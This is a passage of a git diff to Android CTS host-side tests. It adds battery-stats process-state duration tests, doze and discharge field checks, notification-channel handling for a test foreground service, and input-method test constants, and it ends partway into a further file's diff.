diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index bb1e2f9..4d51330 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -407,7 +407,7 @@
}
private void checkBattery(String[] parts) {
- assertEquals(15, parts.length);
+ assertEquals(16, parts.length);
if (!parts[4].equals("N/A")) {
assertInteger(parts[4]); // startCount
}
@@ -421,6 +421,7 @@
long bEstCap = assertInteger(parts[12]); // batteryEstimatedCapacity
assertInteger(parts[13]); // minLearnedBatteryCapacity
assertInteger(parts[14]); // maxLearnedBatteryCapacity
+ long bDoze = assertInteger(parts[15]); // screenDozeTime
// The device cannot be up more than there are real-world seconds.
assertTrue("batteryRealtime must be >= batteryUptime", bReal >= bUp);
@@ -436,16 +437,20 @@
assertTrue("batteryUptime must be >= batteryScreenOffUptime", bUp >= bOffUp);
assertTrue("batteryScreenOffUptime must be >= 0", bOffUp >= 0);
assertTrue("batteryEstimatedCapacity must be >= 0", bEstCap >= 0);
+ assertTrue("screenDozeTime must be >= 0", bDoze >= 0);
+ assertTrue("screenDozeTime must be <= batteryScreenOffRealtime", bDoze <= bOffReal);
}
private void checkBatteryDischarge(String[] parts) {
- assertEquals(10, parts.length);
+ assertEquals(12, parts.length);
assertInteger(parts[4]); // low
assertInteger(parts[5]); // high
assertInteger(parts[6]); // screenOn
assertInteger(parts[7]); // screenOff
- assertInteger(parts[8]); // dischargeCount
- assertInteger(parts[9]); // dischargeScreenOffCount
+ assertInteger(parts[8]); // dischargeMah
+ assertInteger(parts[9]); // dischargeScreenOffMah
+ assertInteger(parts[10]); // dischargeDozeCount
+ assertInteger(parts[11]); // dischargeDozeMah
}
private void checkBatteryLevel(String[] parts) {
diff --git a/hostsidetests/edi/Android.mk b/hostsidetests/edi/Android.mk
index efa093f..c3b07ec 100644
--- a/hostsidetests/edi/Android.mk
+++ b/hostsidetests/edi/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsEdiHostTestCases
diff --git a/hostsidetests/incident/Android.mk b/hostsidetests/incident/Android.mk
index b02fc19..b89bafe 100644
--- a/hostsidetests/incident/Android.mk
+++ b/hostsidetests/incident/Android.mk
@@ -20,7 +20,7 @@
# tag this module as a cts test artifact
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsIncidentHostTestCases
diff --git a/hostsidetests/incident/apps/batterystatsapp/Android.mk b/hostsidetests/incident/apps/batterystatsapp/Android.mk
index 78f710b..42c87f4 100644
--- a/hostsidetests/incident/apps/batterystatsapp/Android.mk
+++ b/hostsidetests/incident/apps/batterystatsapp/Android.mk
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
index 7e07641..e9482bf 100644
--- a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
@@ -25,6 +25,7 @@
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.READ_SYNC_STATS" />
<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<application android:label="@string/app_name">
<uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
index ef9925b..4570c30 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
@@ -32,6 +32,8 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.graphics.Color;
+import android.graphics.Point;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
@@ -42,6 +44,10 @@
import android.os.HandlerThread;
import android.os.Looper;
import android.util.Log;
+import android.view.Gravity;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.WindowManager;
import org.junit.Assert;
@@ -53,6 +59,8 @@
public class BatteryStatsBgVsFgActions {
private static final String TAG = BatteryStatsBgVsFgActions.class.getSimpleName();
+ private static final int DO_NOTHING_TIMEOUT = 2000;
+
public static final String KEY_ACTION = "action";
public static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
public static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
@@ -60,6 +68,9 @@
public static final String ACTION_JOB_SCHEDULE = "action.jobs";
public static final String ACTION_SYNC = "action.sync";
public static final String ACTION_WIFI_SCAN = "action.wifi_scan";
+ public static final String ACTION_SLEEP_WHILE_BACKGROUND = "action.sleep_background";
+ public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
+ public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
public static final String KEY_REQUEST_CODE = "request_code";
@@ -92,12 +103,49 @@
case ACTION_WIFI_SCAN:
doWifiScan(ctx, requestCode);
break;
+ case ACTION_SLEEP_WHILE_BACKGROUND:
+ sleep(DO_NOTHING_TIMEOUT);
+ tellHostActionFinished(ACTION_SLEEP_WHILE_BACKGROUND, requestCode);
+ break;
+ case ACTION_SLEEP_WHILE_TOP:
+ doNothingAsync(ctx, ACTION_SLEEP_WHILE_TOP, requestCode);
+ break;
+ case ACTION_SHOW_APPLICATION_OVERLAY:
+ showApplicationOverlay(ctx, requestCode);
+ break;
default:
Log.e(TAG, "Intent had invalid action");
}
sleep(100);
}
+ private static void showApplicationOverlay(Context ctx, String requestCode) {
+ final WindowManager wm = ctx.getSystemService(WindowManager.class);
+ Point size = new Point();
+ wm.getDefaultDisplay().getSize(size);
+
+ WindowManager.LayoutParams wmlp = new WindowManager.LayoutParams(
+ WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
+ WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
+ | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+ | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+ wmlp.width = size.x / 4;
+ wmlp.height = size.y / 4;
+ wmlp.gravity = Gravity.CENTER | Gravity.LEFT;
+ wmlp.setTitle(ctx.getPackageName());
+
+ ViewGroup.LayoutParams vglp = new ViewGroup.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.MATCH_PARENT);
+
+ View v = new View(ctx);
+ v.setBackgroundColor(Color.GREEN);
+ v.setLayoutParams(vglp);
+ wm.addView(v, wmlp);
+
+ tellHostActionFinished(ACTION_SHOW_APPLICATION_OVERLAY, requestCode);
+ }
+
private static void doOptimizedBleScan(Context ctx, String requestCode) {
ScanSettings scanSettings = new ScanSettings.Builder()
.setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC).build();
@@ -231,6 +279,24 @@
}.execute();
}
+ private static void doNothingAsync(Context ctx, String requestCode, String actionCode) {
+ new AsyncTask<Void, Void, Void>() {
+ @Override
+ protected Void doInBackground(Void... params) {
+ sleep(DO_NOTHING_TIMEOUT);
+ return null;
+ }
+
+ @Override
+ protected void onPostExecute(Void nothing) {
+ if (ctx instanceof Activity) {
+ ((Activity) ctx).finish();
+ tellHostActionFinished(actionCode, requestCode);
+ }
+ }
+ }.execute();
+ }
+
private static void doSync(Context ctx, String requestCode) {
BatteryStatsAuthenticator.removeAllAccounts(ctx);
final Account account = BatteryStatsAuthenticator.getTestAccount();
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java
index 5622e40..da00afc 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java
@@ -16,6 +16,7 @@
package com.android.server.cts.device.batterystats;
+import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.ACTION_SLEEP_WHILE_TOP;
import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.ACTION_SYNC;
import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.KEY_ACTION;
import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.KEY_REQUEST_CODE;
@@ -49,9 +50,17 @@
doAction(this, action, requestCode);
- // ACTION_SYNC will finish itself. Others get finished here.
- if (!ACTION_SYNC.equals(action)) {
+ if (!isActionAsync(action)) {
finish();
}
}
+
+ private boolean isActionAsync(String action) {
+ switch (action) {
+ case ACTION_SYNC:
+ case ACTION_SLEEP_WHILE_TOP:
+ return true;
+ }
+ return false;
+ }
}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
index ce690a6..a53cc1b 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/SimpleForegroundService.java
@@ -17,8 +17,12 @@
package com.android.server.cts.device.batterystats;
import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
import android.app.Service;
+import android.content.Context;
import android.content.Intent;
+import android.os.Build;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.IBinder;
@@ -27,10 +31,14 @@
import android.os.Process;
import android.util.Log;
+import com.android.compatibility.common.util.ApiLevelUtil;
+
public class SimpleForegroundService extends Service {
private static final String TAG = "SimpleForegroundService";
+ private static final String NOTIFICATION_CHANNEL_ID = "Foreground Service";
private Looper mServiceLooper;
private ServiceHandler mServiceHandler;
+ private boolean mChannelCreated;
private final class ServiceHandler extends Handler {
public ServiceHandler(Looper looper) {
@@ -67,11 +75,23 @@
// Get the HandlerThread's Looper and use it for our Handler
mServiceLooper = thread.getLooper();
mServiceHandler = new ServiceHandler(mServiceLooper);
+
+ if (ApiLevelUtil.isBefore(Build.VERSION_CODES.O_MR1)) {
+ return;
+ }
+ // OMR1 requires notification channel to be set
+ NotificationManager notificationManager =
+ (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+ NOTIFICATION_CHANNEL_ID,
+ NotificationManager.IMPORTANCE_HIGH);
+ notificationManager.createNotificationChannel(channel);
+ mChannelCreated = true;
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
- Notification notification = new Notification.Builder(this, "Foreground Service")
+ Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
.setContentTitle("CTS Foreground")
.setSmallIcon(android.R.drawable.ic_secure)
.build();
@@ -89,4 +109,13 @@
public IBinder onBind(Intent intent) {
return null;
}
+
+ @Override
+ public void onDestroy () {
+ if (mChannelCreated) {
+ NotificationManager notificationManager =
+ (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+ }
+ }
}
diff --git a/hostsidetests/incident/apps/boundwidgetapp/Android.mk b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
index e9c1555..152414f 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/Android.mk
+++ b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/errorsapp/Android.mk b/hostsidetests/incident/apps/errorsapp/Android.mk
index d6db6f7..191e9b7 100644
--- a/hostsidetests/incident/apps/errorsapp/Android.mk
+++ b/hostsidetests/incident/apps/errorsapp/Android.mk
@@ -39,7 +39,7 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/errorsapp/jni/Android.mk b/hostsidetests/incident/apps/errorsapp/jni/Android.mk
index 7d3eb55..5101bf3 100644
--- a/hostsidetests/incident/apps/errorsapp/jni/Android.mk
+++ b/hostsidetests/incident/apps/errorsapp/jni/Android.mk
@@ -25,9 +25,6 @@
LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
LOCAL_SDK_VERSION := current
include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
index a32926b..c2812c0 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/hostsidetests/incident/apps/netstatsapp/Android.mk b/hostsidetests/incident/apps/netstatsapp/Android.mk
index 682ec73..83ae82f 100644
--- a/hostsidetests/incident/apps/netstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/netstatsapp/Android.mk
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/storagedapp/Android.mk b/hostsidetests/incident/apps/storagedapp/Android.mk
index b081410..3028716 100644
--- a/hostsidetests/incident/apps/storagedapp/Android.mk
+++ b/hostsidetests/incident/apps/storagedapp/Android.mk
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index c841996..8a82416 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -20,7 +20,6 @@
import com.google.common.base.Charsets;
-import java.util.Arrays;
import java.util.Random;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
@@ -52,6 +51,18 @@
public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
public static final String FEATURE_WIFI = "android.hardware.wifi";
+ private static final int STATE_TIME_TOP_INDEX = 4;
+ private static final int STATE_TIME_FOREGROUND_SERVICE_INDEX = 5;
+ private static final int STATE_TIME_FOREGROUND_INDEX = 7;
+ private static final int STATE_TIME_BACKGROUND_INDEX = 8;
+ private static final int STATE_TIME_CACHED_INDEX = 9;
+
+ private static final long TIME_SPENT_IN_TOP = 2000;
+ private static final long TIME_SPENT_IN_FOREGROUND = 2000;
+ private static final long TIME_SPENT_IN_BACKGROUND = 2000;
+ private static final long TIME_SPENT_IN_CACHED = 2000;
+ private static final long SCREEN_STATE_CHANGE_TIMEOUT = 4000;
+ private static final long SCREEN_STATE_POLLING_INTERVAL = 500;
// Constants from BatteryStatsBgVsFgActions.java (not directly accessible here).
public static final String KEY_ACTION = "action";
@@ -61,6 +72,9 @@
public static final String ACTION_JOB_SCHEDULE = "action.jobs";
public static final String ACTION_SYNC = "action.sync";
public static final String ACTION_WIFI_SCAN = "action.wifi_scan";
+ public static final String ACTION_SLEEP_WHILE_BACKGROUND = "action.sleep_background";
+ public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
+ public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
public static final String KEY_REQUEST_CODE = "request_code";
public static final String BG_VS_FG_TAG = "BatteryStatsBgVsFgActions";
@@ -93,6 +107,13 @@
getDevice().executeShellCommand("wm dismiss-keyguard");
}
+ /**
+ * This will send the screen to sleep
+ */
+ protected void turnScreenOffForReal() throws Exception {
+ getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
+ }
+
protected void batteryOnScreenOn() throws Exception {
getDevice().executeShellCommand("dumpsys battery unplug");
getDevice().executeShellCommand("dumpsys batterystats disable pretend-screen-off");
@@ -146,21 +167,111 @@
batteryOffScreenOn();
}
+ private void startSimpleActivity() throws Exception {
+ getDevice().executeShellCommand(
+ "am start -n com.android.server.cts.device.batterystats/.SimpleActivity");
+ }
+
public void testServiceForegroundDuration() throws Exception {
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
- getDevice().executeShellCommand(
- "am start -n com.android.server.cts.device.batterystats/.SimpleActivity");
- assertValueRange("st", "", 5, 0, 0); // No foreground service time before test
+ startSimpleActivity();
+ assertValueRange("st", "", STATE_TIME_FOREGROUND_SERVICE_INDEX, 0,
+ 0); // No foreground service time before test
final long startTime = System.nanoTime();
runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsProcessStateTests",
"testForegroundService");
- assertValueRange("st", "", 5, (long) (2000 * 0.8),
+ assertValueRange("st", "", STATE_TIME_FOREGROUND_SERVICE_INDEX, (long) (2000 * 0.8),
(System.nanoTime() - startTime) / 1000000);
batteryOffScreenOn();
}
+ public void testUidForegroundDuration() throws Exception {
+ batteryOnScreenOff();
+ installPackage(DEVICE_SIDE_TEST_APK, true);
+ // No foreground time before test
+ assertValueRange("st", "", STATE_TIME_FOREGROUND_INDEX, 0, 0);
+ turnScreenOnForReal();
+ assertScreenOn();
+ executeForeground(ACTION_SHOW_APPLICATION_OVERLAY, 2000);
+ Thread.sleep(TIME_SPENT_IN_FOREGROUND); // should be in foreground for about this long
+ assertApproximateTimeInState(STATE_TIME_FOREGROUND_INDEX, TIME_SPENT_IN_FOREGROUND);
+ batteryOffScreenOn();
+ }
+
+ public void testUidBackgroundDuration() throws Exception {
+ batteryOnScreenOff();
+ installPackage(DEVICE_SIDE_TEST_APK, true);
+ // No background time before test
+ assertValueRange("st", "", STATE_TIME_BACKGROUND_INDEX, 0, 0);
+ executeBackground(ACTION_SLEEP_WHILE_BACKGROUND, 4000);
+ assertApproximateTimeInState(STATE_TIME_BACKGROUND_INDEX, TIME_SPENT_IN_BACKGROUND);
+ batteryOffScreenOn();
+ }
+
+ public void testTopDuration() throws Exception {
+ batteryOnScreenOff();
+ installPackage(DEVICE_SIDE_TEST_APK, true);
+ // No top time before test
+ assertValueRange("st", "", STATE_TIME_TOP_INDEX, 0, 0);
+ turnScreenOnForReal();
+ assertScreenOn();
+ executeForeground(ACTION_SLEEP_WHILE_TOP, 4000);
+ assertApproximateTimeInState(STATE_TIME_TOP_INDEX, TIME_SPENT_IN_TOP);
+ batteryOffScreenOn();
+ }
+
+ public void testCachedDuration() throws Exception {
+ batteryOnScreenOff();
+ installPackage(DEVICE_SIDE_TEST_APK, true);
+ // No cached time before test
+ assertValueRange("st", "", STATE_TIME_CACHED_INDEX, 0, 0);
+ startSimpleActivity();
+ Thread.sleep(TIME_SPENT_IN_CACHED); // process should be in cached state for about this long
+ assertApproximateTimeInState(STATE_TIME_CACHED_INDEX, TIME_SPENT_IN_CACHED);
+ batteryOffScreenOn();
+ }
+
+ private void assertScreenOff() throws Exception {
+ final long deadLine = System.currentTimeMillis() + SCREEN_STATE_CHANGE_TIMEOUT;
+ boolean screenAwake = true;
+ do {
+ final String dumpsysPower = getDevice().executeShellCommand("dumpsys power").trim();
+ for (String line : dumpsysPower.split("\n")) {
+ if (line.contains("Display Power")) {
+ screenAwake = line.trim().endsWith("ON");
+ break;
+ }
+ }
+ Thread.sleep(SCREEN_STATE_POLLING_INTERVAL);
+ } while (screenAwake && System.currentTimeMillis() < deadLine);
+ assertFalse("Screen could not be turned off", screenAwake);
+ }
+
+ private void assertScreenOn() throws Exception {
+ // this also checks that the keyguard is dismissed
+ final long deadLine = System.currentTimeMillis() + SCREEN_STATE_CHANGE_TIMEOUT;
+ boolean screenAwake;
+ do {
+ final String dumpsysWindowPolicy =
+ getDevice().executeShellCommand("dumpsys window policy").trim();
+ boolean keyguardStateLines = false;
+ screenAwake = true;
+ for (String line : dumpsysWindowPolicy.split("\n")) {
+ if (line.contains("KeyguardServiceDelegate")) {
+ keyguardStateLines = true;
+ } else if (keyguardStateLines && line.contains("showing=")) {
+ screenAwake &= line.trim().endsWith("false");
+ } else if (keyguardStateLines && line.contains("screenState=")) {
+ screenAwake &= line.trim().endsWith("2");
+ }
+ }
+ Thread.sleep(SCREEN_STATE_POLLING_INTERVAL);
+ } while (!screenAwake && System.currentTimeMillis() < deadLine);
+ assertTrue("Screen could not be turned on", screenAwake);
+ }
+
public void testBleScans() throws Exception {
if (isTV() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
return;
@@ -402,6 +513,10 @@
return uid;
}
+ private void assertApproximateTimeInState(int index, long duration) throws Exception {
+ assertValueRange("st", "", index, (long) (0.8 * duration), 2 * duration);
+ }
+
/**
* Verifies that the recorded time for the specified tag and name in the test package
* is within the specified range.
@@ -410,7 +525,6 @@
int index, long min, long max) throws Exception {
int uid = getUid();
long value = getLongValue(uid, tag, optionalAfterTag, index);
-
assertTrue("Value " + value + " is less than min " + min, value >= min);
assertTrue("Value " + value + " is greater than max " + max, value <= max);
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
index f961f6e..5739bf4 100644
--- a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
+++ b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
@@ -32,7 +32,7 @@
import com.android.tradefed.testtype.IBuildReceiver;
import com.google.protobuf.InvalidProtocolBufferException;
-import com.google.protobuf.Message;
+import com.google.protobuf.MessageLite;
import com.google.protobuf.Parser;
import java.io.FileNotFoundException;
@@ -73,7 +73,7 @@
* @throws InvalidProtocolBufferException If there was an error parsing
* the proto. Note that a 0 length buffer is not necessarily an error.
*/
- public <T extends Message> T getDump(Parser<T> parser, String command)
+ public <T extends MessageLite> T getDump(Parser<T> parser, String command)
throws DeviceNotAvailableException, InvalidProtocolBufferException {
final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
getDevice().executeShellCommand(command, receiver);
diff --git a/hostsidetests/inputmethodservice/common/Android.mk b/hostsidetests/inputmethodservice/common/Android.mk
index 83bc34d..0e50a9c 100644
--- a/hostsidetests/inputmethodservice/common/Android.mk
+++ b/hostsidetests/inputmethodservice/common/Android.mk
@@ -26,7 +26,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsInputMethodServiceCommon
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
index 1f694d2..307693a 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/DeviceEventConstants.java
@@ -50,6 +50,12 @@
public static final String EXTRA_EVENT_SENDER = "event_sender";
/**
+ * Intent extra key for Event parameters like
+ * {@link DeviceEventTypeParam#ON_START_INPUT_RESTARTING}
+ */
+ public static final String EXTRA_EVENT_PARAMS = "event_params";
+
+ /**
* Intent extra key for what type a device event is. Values are {@link DeviceEventType#name()}.
*
* @see android.content.Intent#putExtra(String,String)
@@ -67,6 +73,29 @@
public static final String EXTRA_EVENT_TIME = "event_time";
/**
+ * Parameter for {@link DeviceEventType}.
+ */
+ public enum DeviceEventTypeParam {
+
+ /**
+ * Param for {@link DeviceEventType#ON_START_INPUT}. Represents if IME is restarting.
+ */
+ ON_START_INPUT_RESTARTING(DeviceEventType.ON_START_INPUT, "onStartInput.restarting");
+
+ private final DeviceEventType mType;
+ private final String mName;
+
+ DeviceEventTypeParam(DeviceEventType type, String name) {
+ mType = type;
+ mName = name;
+ }
+
+ public String getName() {
+ return mName;
+ }
+ }
+
+ /**
* Types of device event, a value of {@link #EXTRA_EVENT_TYPE}.
*/
public enum DeviceEventType {
@@ -106,5 +135,15 @@
/** Test start and end event types. */
TEST_START,
TEST_END,
+
+ /**
+ * {@link android.view.inputmethod.InputMethod#showSoftInput}
+ */
+ SHOW_SOFT_INPUT,
+
+ /**
+ * {@link android.view.inputmethod.InputMethod#hideSoftInput}
+ */
+ HIDE_SOFT_INPUT,
}
}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java
index 172e1a7..9288051 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/EventProviderConstants.java
@@ -58,6 +58,9 @@
// This is constants holding class, can't instantiate.
private EventTableConstants() {}
+ /** Column name of the table that holds Event extras in json format. */
+ public static final String EXTRAS = "extras";
+
/** Name of the table in content provider and database. */
public static final String NAME = "events";
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
index 6afd337..ad48a46 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
@@ -43,4 +43,8 @@
public static final String TEST_CREATE_IME1 = "testCreateIme1";
public static final String TEST_SWITCH_IME1_TO_IME2 = "testSwitchIme1ToIme2";
public static final String TEST_IME1_IS_NOT_CURRENT_IME = "testIme1IsNotCurrentIme";
+ public static final String TEST_SEARCH_VIEW_GIVE_FOCUS_SHOW_IME1
+ = "testSearchView_giveFocusShowIme1";
+ public static final String TEST_SEARCH_VIEW_SET_QUERY_HIDE_IME1
+ = "testSearchView_setQueryHideIme1";
}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
index d4786bc..db742bf 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
@@ -36,7 +36,7 @@
CtsInputMethodServiceLib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsInputMethodServiceDeviceTests
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml b/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml
index 94ba557..f0efb94 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/res/layout/activity_inputmethod_test.xml
@@ -25,5 +25,14 @@
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:background="@android:drawable/editbox_background"/>
+ <SearchView
+ android:id="@+id/search_view"
+ android:layout_below="@id/text_entry"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:iconifiedByDefault="false"
+ android:queryHint="hint"
+ android:inputType="textCapCharacters"
+ android:imeOptions="actionDone" />
</RelativeLayout>
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index f4c0698..feb8b5f 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -16,12 +16,19 @@
package android.inputmethodservice.cts.devicetest;
